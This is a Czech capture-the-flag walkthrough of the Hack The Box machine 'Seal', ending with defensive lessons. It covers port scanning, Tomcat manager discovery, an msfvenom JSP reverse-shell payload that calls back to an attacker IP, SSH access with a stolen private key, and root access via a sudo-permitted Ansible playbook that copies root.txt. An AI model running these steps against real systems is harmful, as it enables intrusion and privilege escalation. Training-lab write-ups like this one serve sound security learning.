Seal
Úvod a kontext
U Seal není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi webová aplikace v PHP, nginx a SSH.
Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k SSH se získaným soukromým klíčem a proč po získání shellu dává smysl řešit příliš široká sudo oprávnění.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-05T10:24:03
| Not valid after: 2022-05-05T10:24:03
| MD5: 9c4f 991a bb97 192c df5a c513 057d 4d21
|_SHA-1: 0de4 6873 0ab7 3f90 c317 0f7b 872f 155b 305e 54ef
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
[... výstup zkrácen ...]
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
./dirsearch/dirsearch.py -u https://seal.htb -e php -x 403 -r
[16:31:34] 302 - 0B - /admin -> http://seal.htb/admin/
[16:31:51] 302 - 0B - /host-manager/ -> http://seal.htb/host-manager/html
[16:31:56] 302 - 0B - /manager -> http://seal.htb/manager/
[16:31:56] 401 - 2KB - /manager/status/all
[16:31:56] 302 - 0B - /manager/ -> http://seal.htb/manager/html
=> https://seal.htb/manager/status/all
Získání přístupu
Spuštění exploitu
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.11 LPORT=4000 -f war > rev.war
Přihlášení na cíl (2)
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
ssh -i id_rsa luis@seal.htb
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
Lokální enumerace pak odhalila široké sudo oprávnění:
sudo -l
(ALL) NOPASSWD: __CENSORED__ *
Následující playbook stačil ke zkopírování root.txt do dočasného adresáře:
- hosts: localhost
tasks:
- name: Copy Files
copy: src=/root/root.txt dest=/tmp/
delegate_to: localhost
- name: Change file ownership, group and permissions
ansible.builtin.file:
path: /tmp/root.txt
owner: luis
group: luis
mode: '0600'
sudo /usr/bin/ansible-playbook /tmp/run.yml
cat /tmp/root.txt
__CENSORED__
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.
$ sudo /usr/bin/ansible-playbook /tmp/run.yml
$ cat /tmp/root.txt
a2462fc66b978f37fa7d3cc46093de2a
Shrnutí klíčových poznatků
- První skutečně užitečný závěr plynul z toho, jak do sebe zapadly webová aplikace v PHP, nginx a SSH.
- User fáze se opírala o SSH se získaným soukromým klíčem, takže přístup byl reprodukovatelný a ne jen jednorázový.
- Finální kontrolu nad systémem otevřela až mechanika typu příliš široká
sudooprávnění.
Co si odnést do praxe
- V tomhle článku se první slabé místo otevřelo přes webová aplikace v PHP, nginx a SSH. Tomcat manager, uživatelské role a soubory jako
tomcat-users.xmlnesmějí být čitelné z webu ani z LFI; deployment rozhraní je z obranného pohledu přímo vstup pro RCE. - Stabilní foothold pak stojí na principu SSH se získaným soukromým klíčem. SSH klíče nesmějí být sdílené mezi rolemi ani uložené v procesech, exportech nebo webrootu; uniklý privátní klíč je stabilnější foothold než jednorázový shell.
- Pro závěrečnou fázi je podstatné, že rozhodla příliš široká
sudooprávnění. Širokásudooprávnění je potřeba pravidelně revidovat; wrapper, install helper nebo diagnostický příkaz často udělá z běžného účtu roota.